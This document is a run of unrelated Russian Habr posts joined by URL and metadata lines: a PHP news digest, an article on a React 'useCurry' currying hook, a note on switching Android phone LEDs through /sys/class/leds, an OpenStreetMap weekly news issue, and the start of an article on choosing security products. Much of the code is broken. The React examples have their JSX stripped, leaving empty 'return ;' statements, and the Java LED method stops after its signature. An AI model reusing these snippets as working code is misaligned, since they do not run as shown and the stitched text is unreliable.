* **[[RFC] Short Functions](https://wiki.php.net/rfc/short-functions)** — В этом RFC предлагается добавить синтаксис стрелочных функций для однострочных именованных функций и методов.
```
class Person
{
public function __construct(
private string $firstName,
) {}
public function getFirstName(): string => $this->firstName;
}
```
* **[[RFC] Explicit octal integer literal notation](https://wiki.php.net/rfc/explicit_octal_notation)** — В PHP шестнадцатеричные числа записываются с префиксом `0x`, а двоичные с `0b`. Восьмеричные же сейчас выбиваются из ряда и записываются с префиксом `0`. Кроме неконсистентности, это может привести к проблемам при нестрогом сравнении с числовой строкой. Например, `016` в десятичном представлении равно `14` и в результате `"016" == 016; // false`.
Предлагается для восьмеричных чисел разрешить нотацию с префиксом `0o`, которая является стандартом и используется во многих других языках.
```
0o16 === 14; // true
016 === 0o16; // true
"016" == 0o16; // false
```
* [Literal types PoC](https://github.com/BogdanUngureanu/php-src/commit/37413543fafb300468d83ed8fcc72dc859c577cb) — Концепт литерального типа для PHP как [в TypeScript](https://www.typescriptlang.org/docs/handbook/literal-types.html).
```
function foo(): "foo"|"bar" {
return "foo";
}
```
Литеральный тип вряд ли будет реализован в PHP, но вот есть черновик [RFC с предложением алгебраического типа данных](https://wiki.php.net/rfc/enumerations_and_adts), т. е. продвинутых перечислений.
### Инструменты
* [Infection PHP 0.20](https://infection.github.io/2020/11/01/whats-new-in-0.20.0/) — В свежем обновлении фреймворка для мутационного тестирования добавлено 8 новых мутаторов и возможность автоматически добавлять комментарии прямо в PR на GitHub.
* [JustSteveKing/php-sdk](https://github.com/JustSteveKing/php-sdk) — Скелет для разработки PHP SDK для сервисов и API.
* [Hi-Folks/rando-php](https://github.com/Hi-Folks/rando-php) — Хелпер для генерирования псевдослучайных данных с различными фильтрами: `$randomChars = Randomize::sequence()->chars()->count(10)->noDuplicates()->generate();`
* [voku/PHPDoctor](https://github.com/voku/PHPDoctor#-phpdoctor) — Проверяет файлы и директории и находит места, где не хватает деклараций типов.
* [Psalm 4](https://psalm.dev/articles/psalm-4) — Обновление популярного статического анализатора.
* [phpDocumentor v3.0.0](https://github.com/phpDocumentor/phpDocumentor/releases/tag/v3.0.0) — Мажорное обновление инструмента для генерирования документации на основе PHPDoc.
### Symfony
* [A/B тесты на Symfony](https://dev.to/scullwm/ab-tests-with-symfony-5-made-easy-1km4) с помощью [travaux-com/VariantRetriever](https://github.com/travaux-com/VariantRetriever).
* [Неделя Symfony #722 (26 октября — 1 ноября 2020)](https://symfony.com/blog/a-week-of-symfony-722-26-october-1-november-2020?utm_medium=feed)
* [Удаленное выполнение кода (RCE) на Symfony сайтах](https://www.ambionics.io/blog/symfony-secret-fragment) — Разбор эксплуатации уязвимости через выполнение запроса `/_fragment` и слабого/дефолтного секрета.
### Laravel
* [jessarcher/laravel-castable-data-transfer-object](https://github.com/jessarcher/laravel-castable-data-transfer-object) — Автоматически преобразовывает JSON-поля в DTO. Подробнее [в посте](https://jessarcher.com/blog/casting-json-columns-to-value-objects/).
* [Collector](https://plugins.jetbrains.com/plugin/15246-collector) — Плагин для PhpStorm для рефакторинга стандартных функций PHP в методы коллекций Laravel.
* [spatie/laravel-route-attributes](https://github.com/spatie/laravel-route-attributes) — Позволяет описывать роуты с помощью атрибутов из PHP 8.
* [Нестандартный Laravel](https://ryangjchandler.co.uk/articles/unconventional-laravel-auto-validating-models) — Несколько статей с идеями по улучшению кода.
*  [Laravel–Дайджест (26 октября – 1 ноября 2020)](https://habr.com/ru/post/525990/)
*  [Laravel Worldwide Meetup #4:](https://freek.dev/1817-laravel-worldwide-meetup-4-github-actions-unconventional-autoloaders) — Ryan Chandler [«GitHub Actions для Laravel разработчиков»](https://www.youtube.com/watch?v=1kPu2eQjkGk&t=292s), Liam Hammett [«Нетрадиционные автозагрузчики»](https://youtu.be/1kPu2eQjkGk?t=2258).
*  [Laravel Fireside — 21.10.2020](https://www.youtube.com/watch?v=bfRUfy0Ywdo) — Стрим Тейлора с ответами на вопросы.
### Yii
* [Обновился PhpStorm плагин Yii2 Support](https://plugins.jetbrains.com/plugin/9388-yii2-support).
* [yiisoft/security 1.0](https://github.com/yiisoft/security) — Еще один компонент из семейства Yii 3. Представляет набор классов для решения типичных задач, связанных с безопасностью.
### Материалы для обучения
* [Делаем ООП правильно](https://front-line-php.com/object-oriented). Или почему наследование — это не ООП.
* Статья от MediaWiki [о важности использования пула HTTP-соединений в хайлоаде на PHP](https://techblog.wikimedia.org/2020/10/26/impact-of-using-http-connection-pooling-for-php-applications-at-scale/) и применении [envoyproxy/envoy](https://github.com/envoyproxy/envoy) для этого.
* [Сравнение инструментов подсчета покрытия кода](https://php.watch/articles/php-code-coverage-comparison): Xdebug, phpdbg и PCOV.
* [Как убрать лишние детали из тестов](https://www.kai-sassnowski.com/post/reducing-unnecessary-details-in-tests/) и сделать их более читаемыми.
* [О разнице между Value Object и Data Transfer Object.](https://github.com/spatie/data-transfer-object/issues/17#issuecomment-434200968)
*  [Эволюция PHP — от 5.6 до 8.0 (Часть 1)](https://habr.com/ru/company/otus/blog/524270/), [(Часть 2)](https://habr.com/ru/company/otus/blog/524990/).
*  [Откуда берется заголовок Content-Type: nginx + php-fpm](https://habr.com/ru/post/524906/).
### Аудио/Видео
*  [SDCast #124](https://sdcast.ksdaemon.ru/2020/10/sdcast-124/) — В гостях Михаил Боднарчук, автор фреймворков для тестирования Codeception & CodeceptJS.
*  [Нюансы WeakReference & WeakMap на конкретном примере / Валентин Удальцов](https://www.youtube.com/watch?v=r1HDMu7nJh0) — Разбор решения [задачи](https://t.me/phpyh/182) про утечки, опубликованной на канале [Пых](https://t.me/phpyh).
*  Видеозаписи с прошедших митапов:
+ [Escaping from OOP boundaries](https://youtu.be/9yeBgUyJBeQ?t=416) — Александр Лисаченко про устройство и применение [lisachenko/z-engine](https://github.com/lisachenko/z-engine).
+ [Большие проекты, архитектура и фреймворки](https://youtu.be/qE87-jf3kRs?t=21939) — Александр Макаров на NIXMultiConf #4
+ [Очень странные дела на PHP (Кирилл Несмеянов, PHP Russia)](https://www.youtube.com/watch?v=1ZO1wR4rCCQ).
+ [Безопасность: от принципов до особенностей PHP (Александр Макаров, Yii)](https://www.youtube.com/watch?v=KUaUlAqAf_U).
+ [Перенос проекта с PHP4 на PHP7 (Максим Шамаев, Skyeng)](https://www.youtube.com/watch?v=MX7Wbt9rCsg).
+ [Переезд с PHP на Go (Илья Фроликов, Туту.ру)](https://www.youtube.com/watch?v=dYVrXYYkwy8).
+ [От Doctrine ORM к CQRS за 20 минут (Дмитрий Симушев, Райффайзенбанк)](https://www.youtube.com/watch?v=LmiSpznZWTU).
+ [Митап ульяновского PHP-сообщества](https://www.youtube.com/watch?v=fASGg3utLko): микросервисы, автодеплой, легаси и внутрянка языка.
+ [Доклады от самарского PHP-сообщества](https://www.youtube.com/watch?v=u1rSqjFu3pY): работа с таймзонами, DDD и единый формат обработки ошибок.
---
Если вы заметили ошибку или неточность — сообщите, пожалуйста, в [личку](https://habrahabr.ru/conversations/pronskiy/).
> Больше новостей и комментариев в Telegram-канале **[PHP Digest](https://t.me/phpdigest)**.
>
>
[Прислать ссылку](https://bit.ly/php-digest-add-link)
[Поиск ссылок по всем дайджестам](https://pronskiy.com/php-digest/)
← [Предыдущий выпуск: PHP-Дайджест № 190](https://habr.com/ru/post/524040/) | https://habr.com/ru/post/526098/ | null | ru | null |
# React. Странные хуки: каррирование функционального компонента
Добрый день! Я начинающий фулстек-разработчик, и это моя первая статья.
Сегодня я хочу рассказать, как сделать функциональные компоненты в реакте чуть более функциональными, а именно как сделать каррирование функционального компонента.
**Предупреждение**: в статье использованы как функциональные, так и классовые компоненты
### Каррирование
Немного определений.
Вот здесь определение [каррирования](https://ru.wikipedia.org/wiki/%D0%9A%D0%B0%D1%80%D1%80%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5) с википедии.
Мы будем называть каррированием преобразование функции *f* от N переменных в функцию *g* от M <= N переменных, которая возвращает функцию *w* от N - M переменных.
**Вот пример:**
```
function sum(first, second, third) {
return first + second + third;
}
// пусть существует некоторая магическая функция curry,
// которая принимает на вход функцию и возвращает её каррированную версию
const curriedSum = curry(sum);
// теперь можем делать так:
const sum1 = curriedSum(10)(5)(20);
const sum2 = curriedSum(10, 5)(20);
const sum3 = curriedSum(10)(5, 20);
const sum4 = curriedSum(10, 5, 20);
// и мы ожидаем, что sum1 === sum2 === sum3 === sum4 === 25
```
### А что с реактом?
Пусть имеется следующий функциональный компонент:
```
function ExampleComponent({title, text}) {
return (
{title}
{text}
)
}
```
И мы хотим к нему применить каррирование. Назовём хук *useCurry*.
Определим семантику хука:
1. Хук должен принимать компонент и возвращать каррированный компонент
2. Хук должен помимо компонента принимать часть пропсов этого компонента и прокидывать их в исходный компонент
3. При изменении любых пропсов каррированный компонент перерендеривается, как и любой обычный компонент
4. Каррированный компонент не монтируется каждый раз заново при рендере родительского компонента или изменении пропсов
Запомните свойства 3 и 4, дальше я буду часто к ним обращаться.
Вот пример использования такого хука:
```
function ParentComponent() {
const CurriedEC = useCurry(ExampleComponent,
{text: 'Это каррированный компонент'}});
// то же самое, что и
return
}
```
### Реализация useCurry
**Наивная реализация:**
Достаточно легко придумать реализацию, удовлетворяющую первым трём пунктам
```
function useCurry(ComponentToCurry, props) {
const CurriedComponent = function(restProps) {
return
};
return CurriedComponent;
}
```
Действительно, *useCurry* будет вызываться и возвращать новый компонент всякий раз при рендере родительского компонента, поэтому новый компонент будет заново монтироваться и, как следствие, рендериться. Это про свойство 3, а первые два и так очевидны.
Для реализации последнего свойства нам надо 'запомнить' ссылку на *CurriedComponent*, чтобы она не пересоздавалась каждый раз внутри *useCurry*, поскольку реакт заново монтирует компонент при изменении ссылки на него. Если я не ошибаюсь, именно так работает условный рендеринг, и именно поэтому в списках с одинаковыми компонентами нужны ключи.
Но как запомнить функцию? *useCallback* должен с этим справиться, да?
**useCallback**:
```
function useCurry(ComponentToCurry, props) {
const CurriedComponent = useCallback((restProps) => {
return
}, [props, ComponentToCurry]);
return CurriedComponent;
}
```
У *useCallback* есть массив зависимостей, куда очевидным образом поместились *props*.
Это значит, что при изменении *props* будет заново пересоздаваться и монтироваться *CurriedComponent*, а мы хотим его просто перерендерить!
Лучше чем было раньше, но двигаемся дальше.
На помощь приходит *useRef*. Действительно, если мы не хотим ничего помещать в зависимости *useCallback*, то только рефы смогут нам в этом помочь. Надо просто положить props в *useRef*, и менять значение рефа при изменении *props*, да?
**useRef:**
```
function useCurry(ComponentToCurry, props) {
const propsRef = useRef(props);
useEffect(() => {
propsRef.current = props;
}, [props]);
const CurriedComponent = useCallback(
(restProps) => {
return ;
}, [ComponentToCurry]
);
return CurriedComponent;
}
```
Вот теперь зависимостей кроме *ComponentToCurry* нет, и мы можем гарантировать, что *CurriedComponent* монтируется ровно один раз (на совести пользователя хука остаётся *ComponentToCurry*, ссылка на который, конечно, тоже не должна меняться*)*.
Но это ещё не конец, ведь в погоне за четвёртым свойством мы потеряли третье! *useEffect*, конечно, обновит реф, но не заставит перерендериться *CurriedComponent,* ведь *propsRef.current* никак не взаимодействуетскаррированным компонентом и не входит в число его пропсов
Значит надо **силой** заставить *CurriedComponent* рендериться при изменении *propsRef.current.* А что за сила, спросите вы. Насколько мне известно, только одна конструкция в реакте на такое способна, и, увы, придётся писать классовый компонент.
Я говорю о *forceUpdate*, эту тёмную магию ещё не перенесли в функциональные компоненты.
**forceUpdate:**
```
function useCurry(ComponentToCurry, props) {
const propsRef = useRef(props);
const curriedComponentRef = useRef(undefined);
useEffect(() => {
propsRef.current = props;
curriedComponentRef.current?.forceUpdate();
}, [props]);
const CurriedComponent = useMemo(() =>
class CurriedComponent extends React.Component {
constructor(restProps) {
super(restProps);
curriedComponentRef.current = this;
}
render() {
return ;
}
},
[ComponentToCurry]
);
return CurriedComponent;
}
```
При изменении *propsRef* будет вызываться *forceUpdate*, и *CurriedComponent перерендерится.
useCallback исчез, вместо него useMemo*
Вот теперь готово!
### Практическое применение
Рассмотрим модальные окна.
Часто можно увидеть следующий код:
`const [(d/D)ialog, setOpen, (open)] = useDialog(...)`**,**где *(d/D)ialog* либо элемент, либо компонент.
В первом случае нам надо внутрь *useDialog*прокидывать все пропсы диалога (например, текст) помимо *open*, а внутри*useDialog* прокидывать их в компонент *Dialog*, что вряд ли кому-то покажется элегантным решением.
Выглядеть это будет так:
```
function useDialog(dialogProps) {
const [open, setOpen] = useState(false);
const dialog = useMemo(() => ,
[dialogProps, open]);
return [dialog, setOpen];
}
function DialogWrapper() {
const [dialog, setOpen] = useDialog({text: 'Это диалог!'});
useEffect(() => {
setTimeout(() => setOpen(true), 3000);
}, []);
return dialog;
}
```
Во втором случае нам надо прокидывать *open* внутрь *Dialog*, хотя это мог бы сделать *useDialog*:
```
function useDialog() {
const [open, setOpen] = useState(false);
return [Dialog, setOpen, open];
}
function DialogWrapper() {
const [Dialog, setOpen, open] = useDialog();
useEffect(() => {
setTimeout(() => setOpen(true), 3000);
}, []);
return ;
}
```
С useCurry это выглядело бы так:
```
function useDialog() {
const [open, setOpen] = useState(false);
const CurriedDialog = useCurry(Dialog, {open});
return [CurriedDialog, setOpen];
}
function DialogWrapper() {
const [Dialog, setOpen] = useDialog();
useEffect(() => {
setTimeout(() => setOpen(true), 3000);
}, []);
return ;
}
```
На мой взгляд, последний вариант превосходит первые два по простоте и читаемости.
Более того, в отличие от первого варианта мы получили возможность открывать несколько диалогов одновременно, достаточно будет написать
*Примечание: выше предполагается, что useDialog устроен значительно сложнее, а setOpen не просто меняет open, но также производит сложные действия. В примере же можно вообще обойтись без useDialog, но это сделано для наглядности*
На этом всё. Если статья найдёт положительный отклик, то я продолжу рассказывать о придуманных мной странных хуках. | https://habr.com/ru/post/593479/ | null | ru | null |
# Программируем LED на телефоне
Хотя [Android API](http://developer.android.com/reference/packages.html) не позволяет напрямую включать-выключать светодиодный индикатор или вспышку фотокамеры, на некоторых телефонах такая возможность имеется.
Как программно помигать разноцветными огоньками, как написать свой «Фонарик» или какими еще светодиодами устройства можно управлять — об этом Вы узнаете ниже.
Началось все с того, что я, исследуя файловую систему своего HTC Desire с помощью [ES Проводника](http://www.appbrain.com/app/com.estrongs.android.pop), случайно наткнулся на любопытные каталоги: `/sys/class/leds/blue`, `/sys/class/leds/flashlight` и т.п.
Какой еще blue?! Я видел только оранжевый и зеленый индикатор. Но самое интересное — внутри этих каталогов оказался файл `brightness` с правом на запись! Чем я сразу и воспользовался.
На самом деле, это не простой файл, а интерфейс работы с драйвером светодиода. Так, записав в файл `/sys/class/leds/blue/brightness` положительное число, мы включим синий индикатор на корпусе телефона, записав 0 — выключим. Аналогично с индикаторами amber и green. Включив два светодиода вместе, получим новые цвета: amber + blue = purple; green + blue = aqua.
| Подкаталог в /sys/class/leds | За что отвечает |
| --- | --- |
| lcd-backlight | Яркость подсветки дисплея. В файл brightness записывается число от 0 до 255: больше — ярче. |
| flashlight | Яркость светодиода-вспышки. Возможные значения: 0, 127, 128, 255. |
| button-backlight | Подсветка кнопок (вкл/выкл). |
| amber
green
blue | Оранжевый, зеленый и синий индикаторы (вкл/выкл),
а также пурпурный (amber+blue) и голубой (green+blue) индикаторы. |
##### А теперь, как это все программируется
`public void ledControl(String name, int brightness) {`
Приложение-пример с исходными кодами можно скачать [тут](http://and.su/misc/led.zip).
##### Заключение
Все! Теперь телефон светится, как новогодняя елка. Код проверялся только на HTC Desire под управлением Android 2.2, но, вероятно, может работать и на других устройствах. Напишите мне, получится или не получится фокус на Вашем телефоне. | https://habr.com/ru/post/104627/ | null | ru | null |
# Новости из мира OpenStreetMap № 480 (24.09.2019-30.09.2019)
CyclOSM is a brand new bike-oriented map [1](#wn80_21017) | Leaflet | CyclOSM v0.2 | Map data OpenStreetMap contributors
О нас
-----
* Уточнение: пользователь [AndiTabinas](https://www.openstreetmap.org/user/anditabinas/diary/390769) не является участником программы стипендии SotM-2019 (об этом мы ошибочно написали в прошлом выпуске № 479). Информация (пост или страница в WikiOSM) о стипендии должна выйти в ближайшее время. По факту публикации мы дадим на нее ссылку.
* Мы — команда WeeklyOSM — всегда ищем людей, которые могут помочь нам сделать наш информационный проект еще лучше: глубже и содержательнее, оперативнее и интереснее. Нам очень хочется, чтобы WeeklyOSM в целом был востребован у наших читателей, таких как вы. Смело [присоединяйтесь](https://osmbc.openstreetmap.de/) к нашей команде, не стесняйтесь — напишите нам прямо сейчас! Делать новости — это здорово!
* Манфред Райтер — основатель проекта WeeklyOSM — на не так давно прошедшей конференции SotM-2019 в Гейдельберге (Германия) рассказал о том, как публиковать новости из мира OSM в WeeklyOSM. Если вы картограф, потребитель данных или разработчик iD и считаете, что какие-то новости заслуживают внимания, то по [ссылке](https://www.slideshare.net/ofredao/osmbc-to-weeklyosm) можете найти руководство по их размещению.
Картографирование
-----------------
* Вэлор Нарам [предлагает](https://lists.openstreetmap.org/pipermail/tagging/2019-September/048444.html) больше не использовать тег `contact:phone=`, а вместо него применять `phone=`. На данный момент эта [инициатива](https://wiki.openstreetmap.org/wiki/Proposed_features/Phone#Second_proposal_.28pending.29) получила весьма неоднозначные отклики.
* Михал Фабик [интересуется](https://lists.openstreetmap.org/pipermail/tagging/2019-September/048451.html), как отметить территорию, где располагаются временные постройки (палатки из картона и иных материалов) и находится место проживания бездомных.
* Началось голосование за [схему](https://wiki.openstreetmap.org/wiki/Proposed_features/footway%3Dindoor) тегирования маршрутов внутри зданий (`footway=indoor`), предложенную пользователем jrose\_aph.
Сообщество
----------
* Пьер Беланд [упомянул](https://lists.openstreetmap.org/pipermail/talk-ca/2019-September/009412.html) в канадском списке рассылки Talk свою презентацию "[Мониторинг контуров зданий](https://media.ccc.de/v/sotm2019-1046-osm-quality-mapping-metrics-to-monitor-buildings-outbounds)", с которой он выступал на конференции SotM-2019. Это [возобновило](https://lists.openstreetmap.org/pipermail/talk-ca/2019-September/009416.html) горячую дискуссию об импорте данных о зданиях, опубликованных статистическим управлением Канады и компанией Microsoft. Обсуждалось, какой использовать метод и как это в итоге повлияет на местные сообщества.
* Дженнингс Андерсон в своем [посте](https://www.openstreetmap.org/user/Jennings%20Anderson/diary/390792) в дневниках OSM рассказывает о своем участии в SotM-2019 и саммите HOT, который предварял эту конференцию. На саммите он провел семинар, который был посвящен извлечению и анализу данных OSM с использованием сервиса Amazon Athena. На SotM-2019 он выступил с [докладом](https://media.ccc.de/v/sotm2019-at-1786-corporate-editors-in-the-evolving-landscape-of-openstreetmap-a-close-investigation-of-the-impact-to-the-map-community) о влиянии платных картографов на OSM.
* Пользователь Fischkopp0815 на форуме [попросил](https://forum.openstreetmap.org/viewtopic.php?id=67516) (автоматический [перевод](https://translate.google.com/translate?sl=auto&tl=RU&u=https://forum.openstreetmap.org/viewtopic.php?id=67516)) «накидать» идей по поводу того, как можно замотивировать зарегистрироваться в OSM тех, кто оставляет анонимные заметки на карте.
Импорты
-------
* Пьер Беланд [приводит](https://twitter.com/pierzen/status/1177978125377884160?s=19) несколько неудачных примеров автоматического распознавания контуров зданий алгоритмом от Microsoft.
Фонд OpenStreetMap
------------------
* SeverinGeo [высказал](https://lists.openstreetmap.org/pipermail/osmf-talk/2019-October/006208.html) свое мнение об одном из пунктов при регистрации в OSM, поставив галочку в котором пользователь соглашается с тем, что его вклад в проект будет являться общественным достоянием (PD). Теперь, когда он разобрался в плюсах и минусах ODbl (лицензия базы данных OSM), хотел бы убрать эту самую «галочку». Однако это высказывание привело к достаточно продолжительному обсуждению. Оказалось, что этот вопрос уже [много лет](https://blog.openstreetmap.org/2013/10/15/the-pd-checkbox/) «висит» нерешенным и имеет несколько противоречивых юридических толкований.
* Рабочая группа по местным отделениям Фонда OSM [опубликовала](https://wiki.osmfoundation.org/wiki/Local_Chapters_Working_Group/Meeting_minutes/2019-09-03) протокол своего заседания от 3 сентября 2019 года.
* Рабочая группа по членству Фонда OSM [обновила](https://wiki.osmfoundation.org/wiki/Membership/Statistics) статистику о членах Фонда.
* [Опубликован](https://wiki.osmfoundation.org/wiki/Working_Group_Minutes/MWG_2019-07-19) протокол заседания рабочей группы по членству Фонда OSM от 19 июля 2019 года.
* На закрытии конференции SotM-2019 объединение любителей OSM в Ирландии [официально](https://www.openstreetmap.ie/osm-ireland-is-now-an-official-chapter/) стало представительством Фонда OSM. Соглашение об этом было подписано Дермотом Маккарти от имени OSM-Ирландия и членами Совета фонда OSM.
События
-------
* Адриану Пави так понравилась упаковка его подарка от SotM-2019, что он [вставил](https://twitter.com/PanierAvide/status/1177162703728758784?s=19) ее в рамку и повесил на стену.
* 12 октября 2019 года в России впервые (в Москве) [состоится](https://te-st.ru/2019/09/28/main-news-of-the-week-23-27-september/?utm_source=telegram&utm_medium=social&utm_campaign=news) картатон Missing Maps, организованный «Врачами без границ» совместно с «Теплицей социальных технологий». Не забывайте [регистрироваться](https://vrachi-bez-granits-m-deci.timepad.ru/event/1070614/)!
* Сушид Ананд [опубликовал](https://lists.openstreetmap.org/pipermail/talk/2019-September/083380.html) видео с конференции FOSS4G-2019 в Бухаресте.
* Стефан Келлер [сообщил](http://lists.openstreetmap.ch/pipermail/talk-ch/2019-September/010217.html) (автоматический [перевод](https://translate.google.com/translate?sl=auto&tl=RU&u=http://lists.openstreetmap.ch/pipermail/talk-ch/2019-September/010217.html)), что 18 октября в Берне (Швейцария) пройдет конференции по открытым данным [DINAcon](https://dinacon.ch/en/). OSM на ней будет представлен вместе с Викиданными.
Гуманитарный OSM
----------------
* Центр климата Красного Креста и Красного Полумесяца [сообщает](https://climatecentre.org/news/1201/climate-action-is-a-central-theme-of-humanitarian-openstreetmap-summit), что исследования в области климата были главной темой саммита HOT в этом году.
* Если у вас не было возможности посетить саммит HOT в этом году, то вы [можете](https://www.youtube.com/playlist?list=PLb9506_-6FMFeUJr8cbOZ3aE7Npw3-Ifu) просмотреть выступления в записи на YouTube.
* HOT продолжает свою программу микрогрантов, которая была начата в 2017 году, и [объявила](https://www.hotosm.org/updates/HOT-launches-Microgrants-2020/) о приеме заявок на 2020 год. К участию допускаются организации из стран с низким или средним уровнем дохода, чья деятельность связана с OSM. Гранты предоставляются на покрытие расходов, связанных с картографированием.
* В рамках проекта Kitum планируется создать цифровую карту "[Гражданин](https://kitum.org/2019/09/simulacro2019/)" (автоматический [перевод](https://translate.google.com/translate?sl=auto&tl=EN&u=https://kitum.org/2019/09/simulacro2019/)) для национальных учений по реагированию на чрезвычайные ситуации, организованных Национальным подразделением по управлению рисками бедствий (UNGRD) в Колумбии.
Карты
-----
* Пользователь cq94 в своем Твиттере [поделился](https://twitter.com/cq94/status/1177597533125844996?s=19) ссылкой на карту наиболее опасных объектов [Seveso](https://en.wikipedia.org/wiki/Seveso_disaster) (промышленных предприятий, связанных с обработкой, производством, использованием или хранением опасных веществ) во Франции. Он также привел ссылку на источник данных.
* [1] CyclOSM — это принципиально новая карта для велосипедистов, основанная на данных OpenStreetMap. Проект ставит своей целью — создание красивой и практичной карты для велосипедистов, независимо от их привычек и способностей. Сервер доступен по адресу: [https:/www.cyclosm.org](https://www.cyclosm.org/#map=13/49.4118/8.6983/cyclosm) и поддерживается сообществом представительством OSM во Франции.
* Если вы когда-нибудь захотите узнать, где в Шотландии [жили](https://witches.is.ed.ac.uk) ведьмы (если быть точными, то только те, которых осудили), то эта карта может вам пригодиться.
Переходим на OSM
----------------
* Томас Скоурон рад, что интернет-издание Zeit Online использует данные из OSM, но при этом он [отмечает](https://twitter.com/thomersch/status/1177143276002037761?s=19), что нигде не смог найти верно указанную атрибуцию. [Классные](https://wiki.openstreetmap.org/w/images/a/a5/OSM_attribution_sticker.jpg) наклейки, которые в этом году распространялись на конференции SotM, к сожалению, можно приклеить только на аналоговые карты.
* Как [отмечают](https://twitter.com/ourairports/status/1177663162231005184?s=19) в Твиттере разработчики сервиса [OurAirports](http://ourairports.com/airports), с помощью которого можно найти и изучить любой аэропорт в мире, они перешли с Google Maps на OSM и спутниковые снимки Esri.
Открытые данные
---------------
* На сайте OSM-Бельгия [опубликован](https://openstreetmap.be/en/2019/09/27/streetview.html) хороший материал о том, почему панорамы улиц так важны, а также дан краткий обзор существующей ситуации и текущих тенденций.
Программное обеспечение
-----------------------
* Guillaume Rischard [напоминает](https://github.com/taginfo/taginfo/pull/267) о том, что для соединения с JOSM лучше использовать http вместо https, так как поддержка https, вполне возможно, будет [прекращена](https://josm.openstreetmap.de/ticket/10033). Он обращает внимание на [спецификации](https://github.com/w3c/webappsec-mixed-content/commit/349501c) Консорциума World Wide Web Consortium для надежных соединений.
* Юихиро (пользователь [nissyyu](https://www.openstreetmap.org/user/nissyyu)) [сообщил](https://www.facebook.com/groups/osmjapan/permalink/2707351305983378/) ) о запуске сервиса [mapcompare.jp](https://mapcompare.jp/), который может отображать одновременно до 8 карт. Этот сервис также был [анонсирован](https://twitter.com/tosseto/status/1176038122439749632)  Тошикадзу на конференции [SotM-2019](https://speakerdeck.com/tosseto/20190921sotm2019-lt-mc).
Знаете ли вы …
--------------
* … о веб-редакторе OsmInEDit, с помощью которого в OSM можно отмечать интерьеры зданий? Он был [презентован](https://media.ccc.de/v/sotm2019-1181-osminedit-a-simple-indoor-editor) на конференции SoTM его разработчиком Адриеном Пави, который [просит](https://framagit.org/PanierAvide/osminedit) помочь ему с кодом.
* … как наладить [поиск](https://habr.com/ru/company/hflabs/blog/467787/) адреса по координатам?
* … сколько правок в OSM внесли пользователи Maps.Me через встроенный в это приложение редактор? В блоге этого навигатора [говорится](https://blog.maps.me/how-our-maps-work), что более 3,1 млн. правок.
OSM в СМИ
---------
* На сайте GIS Lounge вышла [статья](https://www.gislounge.com/community-involvement-in-openstreetmap) Марка Алтавиля «Сообщества OpenStreetMap».
* Сиарен Штаунтон из представительства фонда OSM в Ирландии активно [выступает](https://www.irishtimes.com/opinion/letters/land-use-maps-a-sustainable-approach-1.4026373) за предоставление сообществу OpenStreetMap данных о землепользовании. Это письмо является ответом на статью Сильвии Томпсон "[Ирландии нужны более точные карты землепользования](https://www.irishtimes.com/news/science/ireland-needs-needs-more-detailed-land-use-maps-1.4010070)" опубликованную в издании «The Irish Times».
Другие «гео» события
--------------------
* Похоже, что проблемы с алгоритмом искусственного интеллекта, который распознает спутниковые снимки, есть не только у [Microsoft](https://twitter.com/mattfromlondon/status/1178585640490934273), но и у [Google](https://twitter.com/harry_wood/status/1178592421028024321).
* На сайте GIS Geography [опубликован](https://gisgeography.com/best-free-gis-data-sources-raster-vector/) список лучших источников ГИС-данных в 2019 году. Конечно, OSM тоже оказался в нем.
* [Опубликован](https://www.directionsmag.com/pressrelease/9202) список докладчиков на карибской ГИС-конференции [URISA-2019](https://www.urisa.org/caribbeangis).
* [Объявлены](https://somethingaboutmaps.wordpress.com/monocarto-2019-winners/) победители конкурса MonoCarto 2019. На этот конкурс принимаются работы выполненные только в одном цвете либо его оттенках.
* Сайт pocketnavigation.de [протестировал](https://www.pocketnavigation.de/2019/09/neue-generation-twonav-trail2/) (автоматический [перевод](https://translate.google.com/translate?sl=auto&tl=RU&u=https://www.pocketnavigation.de/2019/09/neue-generation-twonav-trail2/)) новый навигатор для вело-пешеходный навигатор TwoNav Trail 2. По сравнению со своим предшественником он имеет больше кнопок, может подключаться к большему количеству спутников и является более экологичным.
* Если вы писатель, который пишет в жанре фэнтези, и не хотите сами придумывать мир своего произведения, то вам в этом может помочь сервис "[Procedural Fantasy Map Generator](https://azgaar.github.io/Fantasy-Map-Generator/)". Но даже если вы не писатель, в любом случае, ознакомьтесь с этим достаточно гибким и интересным сервисом, позволяющим даже настраивать слои.
* На прошлой неделе мы [упоминали](http://www.weeklyosm.eu/en/archives/12408/#wn479_20949) о «Королевском обществе по сохранению скучных участков карты». Оказывается, в Великобритании существует долгая и многовековая история по картированию «скучных» участков карты. Первое письменное упоминание о подобном явлении, которое мы можем найти, это [письмо](http://web.archive.org/web/20061004234800/http://bubl.ac.uk/org/tacit/tac/tac10/starlett.htm) в 10 томе книги [*The Angry Corrie*](https://en.wikipedia.org/wiki/The_Angry_Corrie), любителя прогулок по холмам. Последующие упоминания содержатся в томах [12](http://web.archive.org/web/20061004230455/http://bubl.ac.uk/org/tacit/tac/tac12/boringsq.htm) и [14](http://web.archive.org/web/20071013220347/http://bubl.ac.uk/org/tacit/tac/tac14/paperiwh.htm) под заголовком «Белые дыры».
* Родольфо Де Гузман [опубликовал](https://www.techinasia.com/machine-learning-estimate-singapore-property-value) на новостном сайте techinasia.com статью о том, как его команда разработала модель оценки стоимости недвижимости в Сингапуре на основе данных из OpenStreetMap.
---
Общение российских участников OpenStreetMap идёт в [чатике](https://t.me/ruosm) Telegram и на [форуме](http://forum.openstreetmap.org/viewforum.php?id=21). Также есть группы в социальных сетях [ВКонтакте](https://vk.com/openstreetmap), [Facebook](https://www.facebook.com/openstreetmap.ru), но в них в основном публикуются новости.
[Присоединяйтесь к OSM!](https://www.openstreetmap.org/user/new)
---
Предыдущие выпуски: [479](https://habr.com/ru/post/470359/), [478](https://habr.com/ru/post/469161/), [477](https://habr.com/ru/post/468397/), [476](https://habr.com/ru/post/467499/), [475](https://habr.com/ru/post/466635/) | https://habr.com/ru/post/471122/ | null | ru | null |
# Правильный выбор СрЗИ: от рекламных листовок к use case
Раздается недавно звонок:
— Добрый день! Я бы хотел получить спецификацию на межсетевой экран Cisco ASA. У меня уже есть спецификации от компании <имярек> и я хочу сравнить их и выбрать подходящую. Вы можете мне помочь в этом?
— Да, конечно. А для чего вам нужна Cisco ASA?
— Мне необходимо заблокировать Tor.
— А вам нужна именно Cisco ASA для этого?
— Ну а как? Вот компания <имярек> говорит, что ее межсетевой экран блокирует Tor. Поэтому я хочу сравнить стоимость их экрана с вашим.
